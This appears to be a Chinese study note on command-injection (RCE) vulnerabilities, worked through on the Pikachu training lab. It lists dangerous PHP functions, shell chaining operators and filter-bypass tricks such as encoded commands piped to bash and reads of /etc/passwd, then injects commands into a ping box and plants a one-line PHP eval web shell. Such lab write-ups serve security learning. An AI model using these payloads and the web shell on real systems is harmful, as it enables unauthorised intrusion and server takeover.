RCE-基于Pikachu的学习
RCE
原理
应用有时需要调用一些执行系统命令的函数,如 PHP 中的 system、exec、shell_exec、passthru、popen、proc_popen 等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
利用系统函数实现命令执行的函数
eval()、assert()、preg_replace()、call_user_func()、ob_start()、unserialize()、creat_function() 、usort()、uasort()、uksort()、 array_filter()、 array_reduce()、 array_map()
直接执行系统命令的代码函数
system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号
命令连接符:
Windows和Linux都支持的命令连接符:
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2
过滤绕过
参考文章:
总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客
渗透测试——命令执行漏洞(RCE)详解 - 知乎 (zhihu.com)
空格过滤绕过
$IFS$9,${IFS},$IFS,%09,<,<>
文件名过滤绕过:
(1)?和*当作通配符绕过
cat /fl??
cat /fl*
(2)单引号(')双引号("")反引号(``)绕过正则
cat /fl""ag
c""at /e't'c/pas``s``wd
(3)斜杠\绕过
cat fl\ag.p\hp
(4)特殊变量:$1到$9、$@和$*
cat /fl$9ag
cat /fl$@ag
正则绕过
(1)利用base编码绕过
`echo 'Y2F0wqAK' | base64 -d` // etc/passwd
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash //cat /etc/passwd
(2)利用hex编码(十六进制)绕过
echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入
(3)利用oct编码(八进制)绕过
$(printf "\154\163")//ls命令
(4)取反绕过
(~'%8F%97%8F%96%91%99%90')(); //phpinfo();
Pikachu
exec "ping"
打开题目就是一个ping的框,我们输入
127.0.0.1
的确去执行ping命令,接下来我们就用命令连接符去试试
127.0.0.1& whoami
回显如下,去执行了我们的命令
开始写马:
127.0.0.1 & echo "<?php eval($_POST['cmd']);?>" > test.php
看看上传成功没
127.0.0.1 & dir
发现上传成功
然后打开蚁剑连接一下,连接成功,你可以操作了
exec "eval"
打开题目就是一个输入框,随便输入了一点,发生报错,看到了eval函数
输入测试语句试试,执行成功
1 & system("whoami");
剩下的命令就可以自己敲一敲。
热门相关:赠我深爱如长风 我的女友不可能是怪物 风流医圣 校花之贴身高手 九阳剑圣